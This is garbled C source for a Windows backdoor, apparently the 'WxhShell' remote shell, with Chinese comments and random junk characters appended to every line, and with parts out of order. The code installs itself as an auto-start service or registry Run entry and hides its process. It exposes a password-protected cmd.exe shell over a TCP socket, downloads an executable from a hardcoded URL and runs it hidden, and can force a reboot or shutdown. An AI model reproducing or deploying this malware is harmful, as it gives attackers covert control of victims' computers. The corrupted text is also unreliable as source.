    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Z5Wp5az},  
    else { wUvE  
    closesocket(wsh); jIKg* @  
    ExitThread(0); n@pwOHQn<|  
    } ed'[_T}T3t  
    break; c]pz&  
    } "~Fg-{jM%  
  // 获取shell INnd TF  
  case 's': { #Y= A#Yz,{  
    CmdShell(wsh); S. MRL,  
    closesocket(wsh); >nkVZ;tL  
    ExitThread(0); FG${w.e<  
    break; k8 #8)d  
  } TQB) A9  
  // 退出 MZ3 8=nJ  
  case 'x': { bidFBldKl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bd /A0i?C  
    CloseIt(wsh); a8xvK;`  
    break; qT?{}I  
    } W*LC3B^  
  // 离开 t|@5 ,J  
  case 'q': { {t;o^pUF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `n>/MY  
    closesocket(wsh); cyNE}  
    WSACleanup(); O/eZ1YAC  
    exit(1); ?;tPqOs&  
    break; &A s>Y,y  
        } ,!> ~izB  
  } 4Uny.C]  
  } ;Am3eJa*-  
7~2_'YX>:  
  // 提示信息 th{J;a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U)dcemQY  
} Lv+{@)  
  } +  }"+  
2*snMA  
  return; V_3oAu54s{  
} [Fh YQI  
+c8`N'~  
// shell模块句柄 |k~AGc  
int CmdShell(SOCKET sock) [>NMuwtG  
{ -UEi  
STARTUPINFO si; _sy{rnaqvb  
ZeroMemory(&si,sizeof(si)); 4`?PtRX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5=;cN9M@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |ts0j/A]Pi  
PROCESS_INFORMATION ProcessInfo; ]{=y8]7  
char cmdline[]="cmd"; bB4FjC':  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2>jk@~Z1:u  
  return 0; +xuv+mo  
} X&[Zk5DU*  
/J^dz vH  
// 自身启动模式 23CvfP  
int StartFromService(void) !W XV1S  
{ ,OlS>>,  
typedef struct |2'WSAWG  
{ .7.1JT#@A7  
  DWORD ExitStatus; -+F,L8  
  DWORD PebBaseAddress; &/m^}x/_W  
  DWORD AffinityMask; !=S?*E +j)  
  DWORD BasePriority; o"Xv)#g&  
  ULONG UniqueProcessId; ^m7y=CJM  
  ULONG InheritedFromUniqueProcessId; tHzgZo Bz  
}   PROCESS_BASIC_INFORMATION; 0$Tb5+H5  
QP~["%}T  
PROCNTQSIP NtQueryInformationProcess; bEF2- FO  
Fepsa;\sU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W9l ](Ow  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;tQc{8O6L  
<IWg]AJT :  
  HANDLE             hProcess; C6c*y\O\7  
  PROCESS_BASIC_INFORMATION pbi; r?)1)?JnHe  
6!i`\>I]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #;99vwc  
  if(NULL == hInst ) return 0; cKYvNM  
5H Cw%n9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {zZ)JWM<w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); = V')}f~C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '-myOM7  
6}Y==GP t  
  if (!NtQueryInformationProcess) return 0; [!U%''  
H%vgPQ8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6,4vs+(|\  
  if(!hProcess) return 0; Wpf~Ji6||  
nHF66,7t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,|O6<u9  
T}J)n5U}\  
  CloseHandle(hProcess); BoT#b^l  
~_i=hx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ms3"  
if(hProcess==NULL) return 0; 7x.j:{2  
yVVyWte,  
HMODULE hMod; Dlz0*eHD  
char procName[255]; nYyKz Rz  
unsigned long cbNeeded; Tf=1p1!3  
ku/vV+&O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mm_)=Ipj>  
*_YH}U  
  CloseHandle(hProcess); AxEdQRGk  
qbQdx Kk  
if(strstr(procName,"services")) return 1; // 以服务启动 .0,G4k/yv  
tJ\v>s-f  
  return 0; // 注册表启动 <c5g-*V:  
} gb!0%*   
2v(Y'f.  
// 主模块 l`#rhuy`  
int StartWxhshell(LPSTR lpCmdLine) E4=D$hfq`  
{ ("(wap~<nD  
  SOCKET wsl; BNk>D|D;  
BOOL val=TRUE; S['rTuk  
  int port=0; !d 4DTo  
  struct sockaddr_in door; ^KD1dy3(  
x [vb i  
  if(wscfg.ws_autoins) Install(); AaU!a  
|L89yjhWBs  
port=atoi(lpCmdLine); 9e.v[K~  
Zk~Pq%u  
if(port<=0) port=wscfg.ws_port; CqWO 0  
`_.:O,^n^  
  WSADATA data; h:7\S\|8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;>/Mal  
mS}.?[d"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   > {d9z9O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]2ab~ gr  
  door.sin_family = AF_INET; !r6Yq,3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;9#%E  
  door.sin_port = htons(port); SnX)&>B  
P_H2[d&/>D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o+{7"Na8[  
closesocket(wsl); ^r<l#D,  
return 1; &hZ.K"@7{  
} } PL{i  
[xb'73  
  if(listen(wsl,2) == INVALID_SOCKET) { t%,:L.?J#  
closesocket(wsl); p<pGqW  
return 1; bz 7?F!  
} OZz/ip-!lc  
  Wxhshell(wsl); Zcw <USF8  
  WSACleanup(); fHwS12SB  
OK-*TPrc  
return 0; 5{!"}  
YHY*dk*|C  
} yzl}!& E  
)b%zYD9p  
// 以NT服务方式启动 mQt0?c _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PB*G#2W  
{ toU<InN  
DWORD   status = 0; EqBTN07dZS  
  DWORD   specificError = 0xfffffff; YnU*MC}  
<3ep5`1   
  serviceStatus.dwServiceType     = SERVICE_WIN32; I d8MXdV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w87$p821  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H}&JrT95  
  serviceStatus.dwWin32ExitCode     = 0; Mcz;`h|EW  
  serviceStatus.dwServiceSpecificExitCode = 0; cb|hIn\>7  
  serviceStatus.dwCheckPoint       = 0; ,jW a&7  
  serviceStatus.dwWaitHint       = 0; I\-M`^@  
(i\{hq/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OrL4G `O  
  if (hServiceStatusHandle==0) return; Z6-  
YIIc@ )  
status = GetLastError(); v=dK2FaY  
  if (status!=NO_ERROR) gw">xt5  
{ M17+F?27M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;jQ^8 S  
    serviceStatus.dwCheckPoint       = 0; Ps(oxj7  
    serviceStatus.dwWaitHint       = 0; fGA#0/_`  
    serviceStatus.dwWin32ExitCode     = status; y"8,jm  
    serviceStatus.dwServiceSpecificExitCode = specificError; x <aR|r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _V8;dv8  
    return; -glGOTk  
  } I!(BwYd  
BaUuDo/ZO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q t>|TGz  
  serviceStatus.dwCheckPoint       = 0; uK#2vgT  
  serviceStatus.dwWaitHint       = 0; u] G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `SZ-o{  
} r? }|W2^%  
eA``fpr  
// 处理NT服务事件,比如:启动、停止 !,Cbb }  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " o 3Hd  
{ * RX^ z6  
switch(fdwControl) 8df| 9E$  
{ ] M#LB&Pe  
case SERVICE_CONTROL_STOP: VMo:pV  
  serviceStatus.dwWin32ExitCode = 0;  > T:0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *)?'!  
  serviceStatus.dwCheckPoint   = 0; "~zLG"  
  serviceStatus.dwWaitHint     = 0; UxF9Ko( ]d  
  { |+[Y_j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $*:$-  
  } w/PE)xA  
  return; nWK7*  
case SERVICE_CONTROL_PAUSE: Q.3:"dT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X f;R'a,$  
  break; iv],:|Mbd  
case SERVICE_CONTROL_CONTINUE: 2 p}I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4hfq7kq7(  
  break; O~?d;.b  
case SERVICE_CONTROL_INTERROGATE: %h,&ND  
  break; (F3R!n  
}; @A`j Wao  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c/j+aj0.v  
} Eg}U.ss^  
SjF(;0k C  
// 标准应用程序主函数 }7xcHVO8-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <dVJV?i;  
{ [#G*GAa6*  
^wwS`vPb  
// 获取操作系统版本 @Jqo'\~&  
OsIsNt=GetOsVer(); M} ri>o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d.Ccc/1-  
Wi,)a{  
  // 从命令行安装 LylCr{s7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0r i  
8<ev5af  
  // 下载执行文件 (c"!&&S^ =  
if(wscfg.ws_downexe) { ox\D04:M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R >&8%%#  
  WinExec(wscfg.ws_filenam,SW_HIDE); \L}7.fkb8  
} l,3,$  
darbL_1  
if(!OsIsNt) { 5}! 36SO\  
// 如果时win9x,隐藏进程并且设置为注册表启动 r1}1lJ>7H  
HideProc(); h qhX  
StartWxhshell(lpCmdLine); 2 J3/Eu  
} ][#|5UK8L  
else .RAyi>\e  
  if(StartFromService()) H;q[$EUNb  
  // 以服务方式启动 ]n"U])pJd  
  StartServiceCtrlDispatcher(DispatchTable); ( *K)D$y  
else b5KK0Jjk  
  // 普通方式启动 -II03 S1  
  StartWxhshell(lpCmdLine); l[%=S!  
Lp4F1H2t-  
return 0; lOe|]pQ.,  
} p8?"}  
nqTOAL9FF  
;i/? fw[h  
ZSD7%gE<D  
=========================================== o Q*LP{M  
tGbx/$Y   
\[)SK`cwd  
V eY&pPQ  
!"-.D4*r  
iTT%_-X-  
" %""h:1/S  
Gxxz4    
#include <stdio.h> B(} 'yY@%u  
#include <string.h> vM$hCV ~N  
#include <windows.h> >,_0Mem2Rr  
#include <winsock2.h> 8$Zwk7 w8A  
#include <winsvc.h> Di}M\!-[  
#include <urlmon.h> F?cwIE\J  
=*zde0T?l  
#pragma comment (lib, "Ws2_32.lib") Rh$+9w  
#pragma comment (lib, "urlmon.lib") y7rT[f/J  
s aHY9{)  
#define MAX_USER   100 // 最大客户端连接数 BgDWl{pm  
#define BUF_SOCK   200 // sock buffer x%[NK[^&  
#define KEY_BUFF   255 // 输入 buffer hsYE&Np_Q  
FgrVXb_q  
#define REBOOT     0   // 重启 Je2&7uR0  
#define SHUTDOWN   1   // 关机 !#*#jixo  
BpX`49  
#define DEF_PORT   5000 // 监听端口 /iAhGY  
$ e,r>tgD  
#define REG_LEN     16   // 注册表键长度 j+q)  
#define SVC_LEN     80   // NT服务名长度 cD)9EFo  
H5 :,hrZY  
// 从dll定义API AGjjhbGB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >ZeARCf"f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TXf60{:f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z5*(xony0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N[fwd=$\#  
xirq$sEl  
// wxhshell配置信息 M&gi$Qs[E  
struct WSCFG { T/ eX7p1  
  int ws_port;         // 监听端口 W2zG"Q  
  char ws_passstr[REG_LEN]; // 口令 ,`k6 @4  
  int ws_autoins;       // 安装标记, 1=yes 0=no P|p X F~  
  char ws_regname[REG_LEN]; // 注册表键名 =K|#5p`  
  char ws_svcname[REG_LEN]; // 服务名 ]l+<-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n\<7`,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,S<) )  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s16, *;Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H8HVmfM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?U O aqcL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /`nkz  
]s E)-8  
}; @3=q9ftm  
yJ ljCu)f  
// default Wxhshell configuration SyT{k\[  
struct WSCFG wscfg={DEF_PORT, 8t) g fSG  
    "xuhuanlingzhe", 1w7XM0SHcn  
    1, \7#w@3*  
    "Wxhshell", Y|J=72!]  
    "Wxhshell", YK$[)x\S  
            "WxhShell Service", iVf7;M8O  
    "Wrsky Windows CmdShell Service", t.VVE:A^%  
    "Please Input Your Password: ", FKL@,>!<e  
  1, wPu.hVz  
  "http://www.wrsky.com/wxhshell.exe", v;Q*0%~  
  "Wxhshell.exe" ;(;~yB|NZ5  
    }; Doq}UWp  
^;9l3P{  
// 消息定义模块 SD:`l<l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^q0`eS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4sRg+mMI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }m%&|:PH  
char *msg_ws_ext="\n\rExit."; $/5\Hg1  
char *msg_ws_end="\n\rQuit."; eOkiB!G.  
char *msg_ws_boot="\n\rReboot..."; ;T8(byH ?  
char *msg_ws_poff="\n\rShutdown..."; S#HeOPRL  
char *msg_ws_down="\n\rSave to "; @'GPZpbvZ  
F?6Q(mRl  
char *msg_ws_err="\n\rErr!"; ~x+'-2A46  
char *msg_ws_ok="\n\rOK!"; fkImX:|q  
h x8pg,X  
char ExeFile[MAX_PATH]; Tp.]{*  
int nUser = 0; .3VL  
HANDLE handles[MAX_USER]; ?z6K/'?  
int OsIsNt; 9^`cVjD5  
LpSF*xm  
SERVICE_STATUS       serviceStatus; }|N88PN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Ob'E!;<  
L+T7Ge q  
// 函数声明 "L1LL iS  
int Install(void); ?TIi0;h  
int Uninstall(void); 72J=_d>+  
int DownloadFile(char *sURL, SOCKET wsh); Qy}pn=#Q  
int Boot(int flag); Bt5 P][<  
void HideProc(void); WPlf8* -fQ  
int GetOsVer(void); /vi Ic %=  
int Wxhshell(SOCKET wsl); ~Cw7.NA{3  
void TalkWithClient(void *cs); Kng=v~)N'  
int CmdShell(SOCKET sock); < 3*q) VT  
int StartFromService(void); S')DAx  
int StartWxhshell(LPSTR lpCmdLine); hA1B C3  
6#K.n&=*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {<gX~./]c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e{Vn{.i,5  
,F` 1VpTd8  
// 数据结构和表定义 xfC$u`e=  
SERVICE_TABLE_ENTRY DispatchTable[] = >.9V`m|  
{ &V SZ  
{wscfg.ws_svcname, NTServiceMain}, Kb;Pd!Q  
{NULL, NULL} `d4xX@  
}; x _d   
gd#?rc*f<3  
// 自我安装 M8\/[R\  
int Install(void) B]}gfVO  
{ a}|<*!4zUQ  
  char svExeFile[MAX_PATH]; 9IrCu?n9b  
  HKEY key; Mqk|H~l5c  
  strcpy(svExeFile,ExeFile); 9 BU#THDm  
tq@)J_7|  
// 如果是win9x系统,修改注册表设为自启动 eY^zs0  
if(!OsIsNt) { -%P}LaC <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h8Oj E$ H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J(maJuY  
  RegCloseKey(key); y;4g>ma0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =OV5DmVmQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HINk&)FC  
  RegCloseKey(key); ]q[(z  
  return 0; gW4fwE^  
    } nhC8Tq[m  
  } 4}cxSl]jf!  
} E4Ez)IaKyi  
else { |;t{L^  
PNo:vRtsq  
// 如果是NT以上系统,安装为系统服务 Y}s6__  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !O}e)t  
if (schSCManager!=0) 9%3+\[s1  
{ r|\{!;7  
  SC_HANDLE schService = CreateService -e_TJA  
  ( =5fY3%^b{  
  schSCManager, 7IkEud  
  wscfg.ws_svcname, ht>/7.p]  
  wscfg.ws_svcdisp, x>BFK@#  
  SERVICE_ALL_ACCESS, )b=vBs`%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s6 (md<r  
  SERVICE_AUTO_START, _/cX!/"  
  SERVICE_ERROR_NORMAL, QlR~rFs9t  
  svExeFile, j%Z5[{!/,X  
  NULL, Ygkf}n  
  NULL, %{cVG-<_iz  
  NULL, h)j#?\KYm9  
  NULL, <gH-`3 J6  
  NULL 0pW;H|h  
  ); S Te8*=w  
  if (schService!=0)  F0zaA  
  { YPq:z"`-y4  
  CloseServiceHandle(schService); .V0fbHYTJ  
  CloseServiceHandle(schSCManager); G?\eO&QG{"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ex*{iJ;\  
  strcat(svExeFile,wscfg.ws_svcname); {}iS5[H]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u8|CeA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3$:F/H  
  RegCloseKey(key); }aXSMxCd  
  return 0; ,WnZ^R/n  
    } '/9MN;_  
  } wxj}k7_(`A  
  CloseServiceHandle(schSCManager); QfPw50N;  
} @W @,8e]c  
} zw$\d1-+h  
mJ5%+.V  
return 1; Iw( wT_  
} 4!xRA''  
`v<S  
// 自我卸载 1{d;Ngx  
int Uninstall(void) yI07E "9  
{ s~B)xYmyB'  
  HKEY key; v UO[V$rx  
5[)#3vY  
if(!OsIsNt) { ya^8mp-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C\ Yf]J  
  RegDeleteValue(key,wscfg.ws_regname); -wl&~}%M  
  RegCloseKey(key); O&;d82IA{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K]M@t=  
  RegDeleteValue(key,wscfg.ws_regname); /?XI,#j3kM  
  RegCloseKey(key); \Zx&J.D  
  return 0; L2}<2  
  } 7 H:y=?X6  
} f2SJ4"X  
} 4@<wN \'  
else { xE!0p EHd  
+\&6Zbn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~=[5X,Ta  
if (schSCManager!=0) U#iW1jPE2  
{ ed_+bCNy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l7VTuVGUJ  
  if (schService!=0) q{b-2k  
  { bT T>  
  if(DeleteService(schService)!=0) { 6biR5&Y5U&  
  CloseServiceHandle(schService); 2$!,$J-<Y  
  CloseServiceHandle(schSCManager); es%py~m)  
  return 0; S<'_{uz  
  } }''0N1,/  
  CloseServiceHandle(schService); 3c wBPqH  
  } #;@I.  
  CloseServiceHandle(schSCManager); a$^)~2U{  
} Pw7uxN`  
} P,WQN[(+  
}opMf6`w  
return 1; 1|H4]!7kE  
} :(yu t  
|#yT]0L%pA  
// 从指定url下载文件 RIO?rt;  
int DownloadFile(char *sURL, SOCKET wsh) Y= =5\;-  
{ l.Ev]G/5  
  HRESULT hr; sN?Rx}  
char seps[]= "/"; /Qef[$!(  
char *token; .Z"`:4O   
char *file; /4;A.r`;  
char myURL[MAX_PATH]; I2SH j6 -  
char myFILE[MAX_PATH]; o&z[d  
hDZyFRg  
strcpy(myURL,sURL); v.>K )%`#  
  token=strtok(myURL,seps); l;R8"L:,p\  
  while(token!=NULL) U,6sR  
  { ,`YBTU  
    file=token; YN<vOv  
  token=strtok(NULL,seps); !dh:jPpKq  
  } Ct~j/.  
zOFHdd ,"g  
GetCurrentDirectory(MAX_PATH,myFILE); n|DMj[uT  
strcat(myFILE, "\\"); T9]0/>  
strcat(myFILE, file); A8ef=ljM?  
  send(wsh,myFILE,strlen(myFILE),0); k4u/v n`&r  
send(wsh,"...",3,0); qP##C&+#q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "XLtrAu{  
  if(hr==S_OK) Yl"CIgt  
return 0; "zQ<)Q]U  
else S-~)|7d.  
return 1; y^nT G  
uWFyI"  
} ;PU'"MeB "  
_FcTY5."S  
// 系统电源模块 UHU ,zgM  
int Boot(int flag) ZUS5z+o  
{ xaoR\H  
  HANDLE hToken; (&r` l&0  
  TOKEN_PRIVILEGES tkp; [UC_  
Iu`S0#+  
  if(OsIsNt) { g.%} +5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s3Zt)xQ3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v#<{Y' K  
    tkp.PrivilegeCount = 1; xVX:kDX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7I&o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7l =Tl[n  
if(flag==REBOOT) { ~OvbMWu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $_TS]~y4}  
  return 0; UF }[%Sa  
} =2QP7W3mg<  
else { :&'jh/vRN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7ZyP  
  return 0; r7R.dD /.  
} =_m3 ~=Z  
  } }BL7P-km  
  else { mv~?1aIKD  
if(flag==REBOOT) { zb"4_L@m2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PeqW+Q.  
  return 0; 3tJfh=r=1  
} q+p}U}L= k  
else { Gr/}&+S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2QAP$f0Ln  
  return 0; #-+Q]}fB4  
} Y3(MKq  
} EStui>ho  
xDH#K0-#L  
return 1; j3N d4#  
} JsuI&v  
+Ss3Ph  
// win9x进程隐藏模块 /BQqg0 8@L  
void HideProc(void) Umzb  
{ #>,E"-]f  
6aHD?a o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +/RR!vG,  
  if ( hKernel != NULL ) tK/,U =+  
  { Jp}\@T.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ok{1{EmP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  |:x,|>/  
    FreeLibrary(hKernel); La '6k  
  } ~OR^  
aT}Hc5L,b  
return; !vpXXI4  
} Cj`~ntMN  
+ WMXd.iN,  
// 获取操作系统版本 yFb"2  
int GetOsVer(void) 8HJ,6Lr;  
{ U.I w/T-5  
  OSVERSIONINFO winfo; vyJ8" #]qY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G8%VL^;O*5  
  GetVersionEx(&winfo); qhcx\eD:?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |&W4Dk n  
  return 1; _#&oQFdYR  
  else hxM{}}.E  
  return 0; b)e;Q5Z(.  
} _kMHF  
YVgH[-`,  
// 客户端句柄模块 ry=8Oq&[~  
int Wxhshell(SOCKET wsl) S1Od&v[R  
{ \9` ~9#P  
  SOCKET wsh; V]+y*b.60  
  struct sockaddr_in client; cHT\sJo`l  
  DWORD myID; y {Bajil  
 +PADy8  
  while(nUser<MAX_USER) %Y=r5'6l  
{ \~+b&  
  int nSize=sizeof(client); 8OV =;aM?{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G6W|l2P!  
  if(wsh==INVALID_SOCKET) return 1; PLz+%L;{  
K\fD';  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y%0rji  
if(handles[nUser]==0) 4 ?PB Fbd  
  closesocket(wsh); Kb{&a  
else U5~aG!E  
  nUser++; 6S3D#SY  
  } AzZhIhWl">  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 32SkxcfrCK  
)AR- b8..o  
  return 0; ^gp]tAf  
} p3mZw lO  
{6RA~  
// 关闭 socket _a& Z$2O  
void CloseIt(SOCKET wsh) ]a&riPh"  
{ }[UH1+`L  
closesocket(wsh); pL;e(lM  
nUser--; ~?fl8RF\  
ExitThread(0); V59!}kel1%  
} Db*b"/]  
Y,}h{*9Kd  
// 客户端请求句柄 cNmAr8^}  
void TalkWithClient(void *cs) quaRVD>s +  
{ JeNX5bXW  
% 33O)<?  
  SOCKET wsh=(SOCKET)cs; pt3)yj&XE  
  char pwd[SVC_LEN]; DeNWh2  
  char cmd[KEY_BUFF]; Fv %@k{  
char chr[1]; ?6&G:Uz/  
int i,j; a.gMH uL  
KA{QGaZ/  
  while (nUser < MAX_USER) { $b{8 $<;9  
JU5,\3Lz#  
if(wscfg.ws_passstr) { <X4f2z{T{@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H!X*29nX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W5Pur lu?  
  //ZeroMemory(pwd,KEY_BUFF); HpIi-Es7C  
      i=0; ILH[q>  
  while(i<SVC_LEN) { 8N9,HNBT$  
mk!8>XvM  
  // 设置超时 w42{)S"  
  fd_set FdRead; SC4jKm2  
  struct timeval TimeOut; 5WRqeSGh  
  FD_ZERO(&FdRead); CALD7qMK  
  FD_SET(wsh,&FdRead); U_gkO;s%  
  TimeOut.tv_sec=8; |ZifrkD=  
  TimeOut.tv_usec=0; =1R 2`H\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =LK`m NA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .B2e$`s$  
M!!vr8}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !]A/ID0K  
  pwd=chr[0]; &1^~G0 Rh\  
  if(chr[0]==0xd || chr[0]==0xa) { ^mFsrw  
  pwd=0; w_@{v wM$A  
  break; qk3 ~]</  
  } .-& =\}^2l  
  i++; Et-|[ eL  
    } ps,Kj3^T<  
zZRLFfz<9  
  // 如果是非法用户,关闭 socket t B`"gC~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  f-[.^/  
} Ps\4k#aOv  
sg}<()  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,%xat`d3,3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N2[jBy8M  
bDh4p]lm  
while(1) { C Q iHk  
UukY9n];]  
  ZeroMemory(cmd,KEY_BUFF); eX"Ecl{  
z@\mn  
      // 自动支持客户端 telnet标准   vShB26b  
  j=0; Z"w}`&TC$^  
  while(j<KEY_BUFF) { 4h--x~ @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o_Y?s+~i[/  
  cmd[j]=chr[0]; VZ`YbY  
  if(chr[0]==0xa || chr[0]==0xd) { tS3&&t  
  cmd[j]=0; AT3HH QD  
  break; g5Io=e@s  
  } !- QB>`7$  
  j++; 0k?]~ f  
    } Y`-q[F?\y  
t4:/qy  
  // 下载文件 7zE1>.  
  if(strstr(cmd,"http://")) { k$J!,!q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /=9dX; #  
  if(DownloadFile(cmd,wsh)) V62lN<M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]I=';\  
  else Wrp+B[ {r\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Sk%78={R  
  } fiSX( 9  
  else { &{a#8sbf#c  
WpE "A  
    switch(cmd[0]) { Xf7]+  
